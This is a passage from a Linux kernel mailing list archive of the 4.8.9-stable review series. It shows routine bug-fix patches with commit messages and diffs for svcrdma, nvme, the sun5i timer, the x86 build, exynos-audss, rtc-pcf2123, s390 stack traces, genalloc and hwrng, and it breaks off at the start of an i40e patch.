-		 * If there are more pages than SGE, terminate SGE
-		 * list so that svc_rdma_unmap_dma doesn't attempt to
-		 * unmap garbage.
-		 */
-		if (page_no+1 >= sge_no)
-			ctxt->sge[page_no+1].length = 0;
 	}
 	rqstp->rq_next_page = rqstp->rq_respages + 1;
 
-	/* The loop above bumps sc_dma_used for each sge. The
-	 * xdr_buf.tail gets a separate sge, but resides in the
-	 * same page as xdr_buf.head. Don't count it twice.
-	 */
-	if (sge_no > ctxt->count)
-		atomic_dec(&rdma->sc_dma_used);
-
 	if (sge_no > rdma->sc_max_sge) {
 		pr_err("svcrdma: Too many sges (%d)\n", sge_no);
 		goto err;
@@ -692,7 +678,7 @@ void svc_rdma_send_error(struct svcxprt_
 		svc_rdma_put_context(ctxt, 1);
 		return;
 	}
-	atomic_inc(&xprt->sc_dma_used);
+	svc_rdma_count_mappings(xprt, ctxt);
 
 	/* Prepare SEND WR */
 	memset(&err_wr, 0, sizeof(err_wr));
--- a/net/sunrpc/xprtrdma/svc_rdma_transport.c
+++ b/net/sunrpc/xprtrdma/svc_rdma_transport.c
@@ -198,6 +198,7 @@ struct svc_rdma_op_ctxt *svc_rdma_get_co
 
 out:
 	ctxt->count = 0;
+	ctxt->mapped_sges = 0;
 	ctxt->frmr = NULL;
 	return ctxt;
 
@@ -221,22 +222,27 @@ out_empty:
 void svc_rdma_unmap_dma(struct svc_rdma_op_ctxt *ctxt)
 {
 	struct svcxprt_rdma *xprt = ctxt->xprt;
-	int i;
-	for (i = 0; i < ctxt->count && ctxt->sge[i].length; i++) {
+	struct ib_device *device = xprt->sc_cm_id->device;
+	u32 lkey = xprt->sc_pd->local_dma_lkey;
+	unsigned int i, count;
+
+	for (count = 0, i = 0; i < ctxt->mapped_sges; i++) {
 		/*
 		 * Unmap the DMA addr in the SGE if the lkey matches
 		 * the local_dma_lkey, otherwise, ignore it since it is
 		 * an FRMR lkey and will be unmapped later when the
 		 * last WR that uses it completes.
 		 */
-		if (ctxt->sge[i].lkey == xprt->sc_pd->local_dma_lkey) {
-			atomic_dec(&xprt->sc_dma_used);
-			ib_dma_unmap_page(xprt->sc_cm_id->device,
+		if (ctxt->sge[i].lkey == lkey) {
+			count++;
+			ib_dma_unmap_page(device,
 					    ctxt->sge[i].addr,
 					    ctxt->sge[i].length,
 					    ctxt->direction);
 		}
 	}
+	ctxt->mapped_sges = 0;
+	atomic_sub(count, &xprt->sc_dma_used);
 }
 
 void svc_rdma_put_context(struct svc_rdma_op_ctxt *ctxt, int free_pages)
@@ -600,7 +606,7 @@ int svc_rdma_post_recv(struct svcxprt_rd
 				     DMA_FROM_DEVICE);
 		if (ib_dma_mapping_error(xprt->sc_cm_id->device, pa))
 			goto err_put_ctxt;
-		atomic_inc(&xprt->sc_dma_used);
+		svc_rdma_count_mappings(xprt, ctxt);
 		ctxt->sge[sge_no].addr = pa;
 		ctxt->sge[sge_no].length = PAGE_SIZE;
 		ctxt->sge[sge_no].lkey = xprt->sc_pd->local_dma_lkey;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 64/92] nvme: Delete created IO queues on reset
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (52 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 63/92] svcrdma: Tail iovec leaves an orphaned DMA mapping Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 65/92] Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" Greg Kroah-Hartman
                     ` (25 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Keith Busch, Christoph Hellwig, Jens Axboe

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Keith Busch <keith.busch@intel.com>

commit 7065906096273b39b90a512a7170a6697ed94b23 upstream.

The driver was decrementing the online_queues prior to attempting to
delete those IO queues, so the driver ended up not requesting the
controller delete any. This patch saves the online_queues prior to
suspending them, and adds that parameter for deleting io queues.

Fixes: c21377f8 ("nvme: Suspend all queues before deletion")
Signed-off-by: Keith Busch <keith.busch@intel.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Jens Axboe <axboe@fb.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/nvme/host/pci.c |    9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

--- a/drivers/nvme/host/pci.c
+++ b/drivers/nvme/host/pci.c
@@ -1531,9 +1531,9 @@ static int nvme_delete_queue(struct nvme
 	return 0;
 }
 
-static void nvme_disable_io_queues(struct nvme_dev *dev)
+static void nvme_disable_io_queues(struct nvme_dev *dev, int queues)
 {
-	int pass, queues = dev->online_queues - 1;
+	int pass;
 	unsigned long timeout;
 	u8 opcode = nvme_admin_delete_sq;
 
@@ -1678,7 +1678,7 @@ static void nvme_pci_disable(struct nvme
 
 static void nvme_dev_disable(struct nvme_dev *dev, bool shutdown)
 {
-	int i;
+	int i, queues;
 	u32 csts = -1;
 
 	del_timer_sync(&dev->watchdog_timer);
@@ -1689,6 +1689,7 @@ static void nvme_dev_disable(struct nvme
 		csts = readl(dev->bar + NVME_REG_CSTS);
 	}
 
+	queues = dev->online_queues - 1;
 	for (i = dev->queue_count - 1; i > 0; i--)
 		nvme_suspend_queue(dev->queues[i]);
 
@@ -1700,7 +1701,7 @@ static void nvme_dev_disable(struct nvme
 		if (dev->queue_count)
 			nvme_suspend_queue(dev->queues[0]);
 	} else {
-		nvme_disable_io_queues(dev);
+		nvme_disable_io_queues(dev, queues);
 		nvme_disable_admin_queue(dev, shutdown);
 	}
 	nvme_pci_disable(dev);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 65/92] Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init"
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (53 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 64/92] nvme: Delete created IO queues on reset Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 66/92] x86/build: Fix build with older GCC versions Greg Kroah-Hartman
                     ` (24 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Maxime Ripard, Chen-Yu Tsai,
	linux-sunxi, Daniel Lezcano, linux-arm-kernel, Thomas Gleixner

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Chen-Yu Tsai <wens@csie.org>

commit 593876838826914a7e4e05fbbcb728be6fbc4d89 upstream.

struct clocksource is also used by the clk notifier callback, to
unregister and re-register the clocksource with a different clock rate.
clocksource_mmio_init does not pass back a pointer to the struct used,
and the clk notifier callback assumes that the struct clocksource in
struct sun5i_timer_clksrc is valid. This results in a kernel NULL
pointer dereference when the hstimer clock is changed:

Unable to handle kernel NULL pointer dereference at virtual address 00000004
[<c03a4678>] (clocksource_unbind) from [<c03a46d4>] (clocksource_unregister+0x2c/0x44)
[<c03a46d4>] (clocksource_unregister) from [<c0a6f350>] (sun5i_rate_cb_clksrc+0x34/0x3c)
[<c0a6f350>] (sun5i_rate_cb_clksrc) from [<c035ea50>] (notifier_call_chain+0x44/0x84)
[<c035ea50>] (notifier_call_chain) from [<c035edc0>] (__srcu_notifier_call_chain+0x44/0x60)
[<c035edc0>] (__srcu_notifier_call_chain) from [<c035edf4>] (srcu_notifier_call_chain+0x18/0x20)
[<c035edf4>] (srcu_notifier_call_chain) from [<c0670174>] (__clk_notify+0x70/0x7c)
[<c0670174>] (__clk_notify) from [<c06702c0>] (clk_propagate_rate_change+0xa4/0xc4)
[<c06702c0>] (clk_propagate_rate_change) from [<c0670288>] (clk_propagate_rate_change+0x6c/0xc4)

Revert the commit for now. clocksource_mmio_init can be made to pass back
a pointer, but the code churn and usage of an inner struct might not be
worth it.

Fixes: 157dfadef832 ("clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init")
Reported-by: Maxime Ripard <maxime.ripard@free-electrons.com>
Signed-off-by: Chen-Yu Tsai <wens@csie.org>
Cc: linux-sunxi@googlegroups.com
Cc: Daniel Lezcano <daniel.lezcano@linaro.org>
Cc: linux-arm-kernel@lists.infradead.org
Link: http://lkml.kernel.org/r/20161018054918.26855-1-wens@csie.org
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/clocksource/timer-sun5i.c |   16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

--- a/drivers/clocksource/timer-sun5i.c
+++ b/drivers/clocksource/timer-sun5i.c
@@ -152,6 +152,13 @@ static irqreturn_t sun5i_timer_interrupt
 	return IRQ_HANDLED;
 }
 
+static cycle_t sun5i_clksrc_read(struct clocksource *clksrc)
+{
+	struct sun5i_timer_clksrc *cs = to_sun5i_timer_clksrc(clksrc);
+
+	return ~readl(cs->timer.base + TIMER_CNTVAL_LO_REG(1));
+}
+
 static int sun5i_rate_cb_clksrc(struct notifier_block *nb,
 				unsigned long event, void *data)
 {
@@ -210,8 +217,13 @@ static int __init sun5i_setup_clocksourc
 	writel(TIMER_CTL_ENABLE | TIMER_CTL_RELOAD,
 	       base + TIMER_CTL_REG(1));
 
-	ret = clocksource_mmio_init(base + TIMER_CNTVAL_LO_REG(1), node->name,
-				    rate, 340, 32, clocksource_mmio_readl_down);
+	cs->clksrc.name = node->name;
+	cs->clksrc.rating = 340;
+	cs->clksrc.read = sun5i_clksrc_read;
+	cs->clksrc.mask = CLOCKSOURCE_MASK(32);
+	cs->clksrc.flags = CLOCK_SOURCE_IS_CONTINUOUS;
+
+	ret = clocksource_register_hz(&cs->clksrc, rate);
 	if (ret) {
 		pr_err("Couldn't register clock source.\n");
 		goto err_remove_notifier;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 66/92] x86/build: Fix build with older GCC versions
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (54 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 65/92] Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 67/92] clk: samsung: clk-exynos-audss: Fix module autoload Greg Kroah-Hartman
                     ` (23 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Jan Beulich, Linus Torvalds,
	Peter Zijlstra, Thomas Gleixner, Valdis Kletnieks,
	Valdis.Kletnieks, Ingo Molnar

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jan Beulich <JBeulich@suse.com>

commit a2209b742e6cf978b85d4f31a25a269c3d3b062b upstream.

Older GCC (observed with 4.1.x) doesn't support -Wno-override-init and
also doesn't ignore unknown -Wno-* options.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Valdis Kletnieks <valdis.kletnieks@vt.edu>
Cc: Valdis.Kletnieks@vt.edu
Fixes: 5e44258d16 "x86/build: Reduce the W=1 warnings noise when compiling x86 syscall tables"
Link: http://lkml.kernel.org/r/580E3E1C02000078001191C4@prv-mh.provo.novell.com
Signed-off-by: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/x86/entry/Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- a/arch/x86/entry/Makefile
+++ b/arch/x86/entry/Makefile
@@ -5,8 +5,8 @@
 OBJECT_FILES_NON_STANDARD_entry_$(BITS).o   := y
 OBJECT_FILES_NON_STANDARD_entry_64_compat.o := y
 
-CFLAGS_syscall_64.o		+= -Wno-override-init
-CFLAGS_syscall_32.o		+= -Wno-override-init
+CFLAGS_syscall_64.o		+= $(call cc-option,-Wno-override-init,)
+CFLAGS_syscall_32.o		+= $(call cc-option,-Wno-override-init,)
 obj-y				:= entry_$(BITS).o thunk_$(BITS).o syscall_$(BITS).o
 obj-y				+= common.o
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 67/92] clk: samsung: clk-exynos-audss: Fix module autoload
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (55 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 66/92] x86/build: Fix build with older GCC versions Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 68/92] rtc: pcf2123: Add missing error code assignment before test Greg Kroah-Hartman
                     ` (22 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Javier Martinez Canillas,
	Krzysztof Kozlowski, Stephen Boyd

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Javier Martinez Canillas <javier@osg.samsung.com>

commit 34b89b2967f284937be6759936ef3dc4d3aff2d0 upstream.

If the driver is built as a module, autoload won't work because the module
alias information is not filled. So user-space can't match the registered
device with the corresponding module.

Export the module alias information using the MODULE_DEVICE_TABLE() macro.

Before this patch:

$ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias
alias:          platform:exynos-audss-clk

After this patch:

$ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias
alias:          platform:exynos-audss-clk
alias:          of:N*T*Csamsung,exynos5420-audss-clockC*
alias:          of:N*T*Csamsung,exynos5420-audss-clock
alias:          of:N*T*Csamsung,exynos5410-audss-clockC*
alias:          of:N*T*Csamsung,exynos5410-audss-clock
alias:          of:N*T*Csamsung,exynos5250-audss-clockC*
alias:          of:N*T*Csamsung,exynos5250-audss-clock
alias:          of:N*T*Csamsung,exynos4210-audss-clockC*
alias:          of:N*T*Csamsung,exynos4210-audss-clock

Fixes: 4d252fd5719b ("clk: samsung: Allow modular build of the Audio Subsystem CLKCON driver")
Signed-off-by: Javier Martinez Canillas <javier@osg.samsung.com>
Reviewed-by: Krzysztof Kozlowski <krzk@kernel.org>
Tested-by: Krzysztof Kozlowski <krzk@kernel.org>
Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/clk/samsung/clk-exynos-audss.c |    1 +
 1 file changed, 1 insertion(+)

--- a/drivers/clk/samsung/clk-exynos-audss.c
+++ b/drivers/clk/samsung/clk-exynos-audss.c
@@ -82,6 +82,7 @@ static const struct of_device_id exynos_
 	  .data = (void *)TYPE_EXYNOS5420, },
 	{},
 };
+MODULE_DEVICE_TABLE(of, exynos_audss_clk_of_match);
 
 static void exynos_audss_clk_teardown(void)
 {

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 68/92] rtc: pcf2123: Add missing error code assignment before test
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (56 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 67/92] clk: samsung: clk-exynos-audss: Fix module autoload Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 69/92] s390/dumpstack: restore reliable indicator for call traces Greg Kroah-Hartman
                     ` (21 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Christophe JAILLET, Alexandre Belloni

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Christophe JAILLET <christophe.jaillet@wanadoo.fr>

commit 83ab7dad06b74e390c2ce0e7b5136daf286e1f5e upstream.

It is likely that checking the result of 'pcf2123_write_reg' is expected
here.
Also fix a small style issue. The '{' at the beginning of the function
is misplaced.

Fixes: 809b453b76e15 ("rtc: pcf2123: clean up writes to the rtc chip")
Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
Signed-off-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/rtc/rtc-pcf2123.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- a/drivers/rtc/rtc-pcf2123.c
+++ b/drivers/rtc/rtc-pcf2123.c
@@ -182,7 +182,8 @@ static ssize_t pcf2123_show(struct devic
 }
 
 static ssize_t pcf2123_store(struct device *dev, struct device_attribute *attr,
-			     const char *buffer, size_t count) {
+			     const char *buffer, size_t count)
+{
 	struct pcf2123_sysfs_reg *r;
 	unsigned long reg;
 	unsigned long val;
@@ -199,7 +200,7 @@ static ssize_t pcf2123_store(struct devi
 	if (ret)
 		return ret;
 
-	pcf2123_write_reg(dev, reg, val);
+	ret = pcf2123_write_reg(dev, reg, val);
 	if (ret < 0)
 		return -EIO;
 	return count;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 69/92] s390/dumpstack: restore reliable indicator for call traces
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (57 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 68/92] rtc: pcf2123: Add missing error code assignment before test Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 70/92] lib/genalloc.c: start search from start of chunk Greg Kroah-Hartman
                     ` (20 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Heiko Carstens, Martin Schwidefsky

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Heiko Carstens <heiko.carstens@de.ibm.com>

commit d0208639dbc6fe97a25054df44faa2d19aca9380 upstream.

Before merging all different stack tracers the call traces printed had
an indicator if an entry can be considered reliable or not.
Unreliable entries were put in braces, reliable not. Currently all
lines contain these extra braces.

This patch restores the old behaviour by adding an extra "reliable"
parameter to the callback functions. Only show_trace makes currently
use of it.

Before:
[    0.804751] Call Trace:
[    0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0)
[    0.804756] ([<0000000000161d64>] create_worker+0x174/0x1c0)

After:
[    0.804751] Call Trace:
[    0.804753] ([<000000000017d0e0>] try_to_wake_up+0x318/0x5e0)
[    0.804756]  [<0000000000161d64>] create_worker+0x174/0x1c0

Fixes: 758d39ebd3d5 ("s390/dumpstack: merge all four stack tracers")
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/s390/include/asm/processor.h |    2 +-
 arch/s390/kernel/dumpstack.c      |   17 +++++++++++------
 arch/s390/kernel/perf_event.c     |    2 +-
 arch/s390/kernel/stacktrace.c     |    4 ++--
 arch/s390/oprofile/init.c         |    2 +-
 5 files changed, 16 insertions(+), 11 deletions(-)

--- a/arch/s390/include/asm/processor.h
+++ b/arch/s390/include/asm/processor.h
@@ -192,7 +192,7 @@ struct task_struct;
 struct mm_struct;
 struct seq_file;
 
-typedef int (*dump_trace_func_t)(void *data, unsigned long address);
+typedef int (*dump_trace_func_t)(void *data, unsigned long address, int reliable);
 void dump_trace(dump_trace_func_t func, void *data,
 		struct task_struct *task, unsigned long sp);
 
--- a/arch/s390/kernel/dumpstack.c
+++ b/arch/s390/kernel/dumpstack.c
@@ -38,10 +38,10 @@ __dump_trace(dump_trace_func_t func, voi
 		if (sp < low || sp > high - sizeof(*sf))
 			return sp;
 		sf = (struct stack_frame *) sp;
+		if (func(data, sf->gprs[8], 0))
+			return sp;
 		/* Follow the backchain. */
 		while (1) {
-			if (func(data, sf->gprs[8]))
-				return sp;
 			low = sp;
 			sp = sf->back_chain;
 			if (!sp)
@@ -49,6 +49,8 @@ __dump_trace(dump_trace_func_t func, voi
 			if (sp <= low || sp > high - sizeof(*sf))
 				return sp;
 			sf = (struct stack_frame *) sp;
+			if (func(data, sf->gprs[8], 1))
+				return sp;
 		}
 		/* Zero backchain detected, check for interrupt frame. */
 		sp = (unsigned long) (sf + 1);
@@ -56,7 +58,7 @@ __dump_trace(dump_trace_func_t func, voi
 			return sp;
 		regs = (struct pt_regs *) sp;
 		if (!user_mode(regs)) {
-			if (func(data, regs->psw.addr))
+			if (func(data, regs->psw.addr, 1))
 				return sp;
 		}
 		low = sp;
@@ -90,7 +92,7 @@ struct return_address_data {
 	int depth;
 };
 
-static int __return_address(void *data, unsigned long address)
+static int __return_address(void *data, unsigned long address, int reliable)
 {
 	struct return_address_data *rd = data;
 
@@ -109,9 +111,12 @@ unsigned long return_address(int depth)
 }
 EXPORT_SYMBOL_GPL(return_address);
 
-static int show_address(void *data, unsigned long address)
+static int show_address(void *data, unsigned long address, int reliable)
 {
-	printk("([<%016lx>] %pSR)\n", address, (void *)address);
+	if (reliable)
+		printk(" [<%016lx>] %pSR \n", address, (void *)address);
+	else
+		printk("([<%016lx>] %pSR)\n", address, (void *)address);
 	return 0;
 }
 
--- a/arch/s390/kernel/perf_event.c
+++ b/arch/s390/kernel/perf_event.c
@@ -222,7 +222,7 @@ static int __init service_level_perf_reg
 }
 arch_initcall(service_level_perf_register);
 
-static int __perf_callchain_kernel(void *data, unsigned long address)
+static int __perf_callchain_kernel(void *data, unsigned long address, int reliable)
 {
 	struct perf_callchain_entry_ctx *entry = data;
 
--- a/arch/s390/kernel/stacktrace.c
+++ b/arch/s390/kernel/stacktrace.c
@@ -27,12 +27,12 @@ static int __save_address(void *data, un
 	return 1;
 }
 
-static int save_address(void *data, unsigned long address)
+static int save_address(void *data, unsigned long address, int reliable)
 {
 	return __save_address(data, address, 0);
 }
 
-static int save_address_nosched(void *data, unsigned long address)
+static int save_address_nosched(void *data, unsigned long address, int reliable)
 {
 	return __save_address(data, address, 1);
 }
--- a/arch/s390/oprofile/init.c
+++ b/arch/s390/oprofile/init.c
@@ -13,7 +13,7 @@
 #include <linux/init.h>
 #include <asm/processor.h>
 
-static int __s390_backtrace(void *data, unsigned long address)
+static int __s390_backtrace(void *data, unsigned long address, int reliable)
 {
 	unsigned int *depth = data;
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 70/92] lib/genalloc.c: start search from start of chunk
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (58 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 69/92] s390/dumpstack: restore reliable indicator for call traces Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 71/92] hwrng: core - Dont use a stack buffer in add_early_randomness() Greg Kroah-Hartman
                     ` (19 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Daniel Mentz, Mathieu Desnoyers,
	Will Deacon, Andrew Morton, Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Daniel Mentz <danielmentz@google.com>

commit 62e931fac45b17c2a42549389879411572f75804 upstream.

gen_pool_alloc_algo() iterates over the chunks of a pool trying to find
a contiguous block of memory that satisfies the allocation request.

The shortcut

	if (size > atomic_read(&chunk->avail))
		continue;

makes the loop skip over chunks that do not have enough bytes left to
fulfill the request.  There are two situations, though, where an
allocation might still fail:

(1) The available memory is not contiguous, i.e.  the request cannot
    be fulfilled due to external fragmentation.

(2) A race condition.  Another thread runs the same code concurrently
    and is quicker to grab the available memory.

In those situations, the loop calls pool->algo() to search the entire
chunk, and pool->algo() returns some value that is >= end_bit to
indicate that the search failed.  This return value is then assigned to
start_bit.  The variables start_bit and end_bit describe the range that
should be searched, and this range should be reset for every chunk that
is searched.  Today, the code fails to reset start_bit to 0.  As a
result, prefixes of subsequent chunks are ignored.  Memory allocations
might fail even though there is plenty of room left in these prefixes of
those other chunks.

Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless")
Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com
Signed-off-by: Daniel Mentz <danielmentz@google.com>
Reviewed-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Acked-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 lib/genalloc.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/lib/genalloc.c
+++ b/lib/genalloc.c
@@ -292,7 +292,7 @@ unsigned long gen_pool_alloc_algo(struct
 	struct gen_pool_chunk *chunk;
 	unsigned long addr = 0;
 	int order = pool->min_alloc_order;
-	int nbits, start_bit = 0, end_bit, remain;
+	int nbits, start_bit, end_bit, remain;
 
 #ifndef CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG
 	BUG_ON(in_nmi());
@@ -307,6 +307,7 @@ unsigned long gen_pool_alloc_algo(struct
 		if (size > atomic_read(&chunk->avail))
 			continue;
 
+		start_bit = 0;
 		end_bit = chunk_size(chunk) >> order;
 retry:
 		start_bit = algo(chunk->bits, end_bit, start_bit,

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 71/92] hwrng: core - Dont use a stack buffer in add_early_randomness()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (59 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 70/92] lib/genalloc.c: start search from start of chunk Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 72/92] i40e: fix call of ndo_dflt_bridge_getlink() Greg Kroah-Hartman
                     ` (18 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Matt Mullins, Andy Lutomirski, Herbert Xu

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Andrew Lutomirski <luto@kernel.org>

commit 6d4952d9d9d4dc2bb9c0255d95a09405a1e958f7 upstream.

hw_random carefully avoids using a stack buffer except in
add_early_randomness().  This causes a crash in virtio_rng if
CONFIG_VMAP_STACK=y.

Reported-by: Matt Mullins <mmullins@mmlx.us>
Tested-by: Matt Mullins <mmullins@mmlx.us>
Fixes: d3cc7996473a ("hwrng: fetch randomness only after device init")
Signed-off-by: Andy Lutomirski <luto@kernel.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/char/hw_random/core.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- a/drivers/char/hw_random/core.c
+++ b/drivers/char/hw_random/core.c
@@ -84,14 +84,14 @@ static size_t rng_buffer_size(void)
 
 static void add_early_randomness(struct hwrng *rng)
 {
-	unsigned char bytes[16];
 	int bytes_read;
+	size_t size = min_t(size_t, 16, rng_buffer_size());
 
 	mutex_lock(&reading_mutex);
-	bytes_read = rng_get_data(rng, bytes, sizeof(bytes), 1);
+	bytes_read = rng_get_data(rng, rng_buffer, size, 1);
 	mutex_unlock(&reading_mutex);
 	if (bytes_read > 0)
-		add_device_randomness(bytes, bytes_read);
+		add_device_randomness(rng_buffer, bytes_read);
 }
 
 static inline void cleanup_rng(struct kref *kref)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 72/92] i40e: fix call of ndo_dflt_bridge_getlink()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (60 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 71/92] hwrng: core - Dont use a stack buffer in add_early_randomness() Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 73/92] mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() Greg Kroah-Hartman
                     ` (17 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Carolyn Wyborny, Huaibin Wang,
	Nicolas Dichtel, Andrew Bowers, Jeff Kirsher

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Huaibin Wang <huaibin.wang@6wind.com>

commit 599b076d15ee3ead7af20fc907079df00b2d59a0 upstream.

Order of arguments is wrong.
The wrong code has been introduced by commit 7d4f8d871ab1, but is compiled
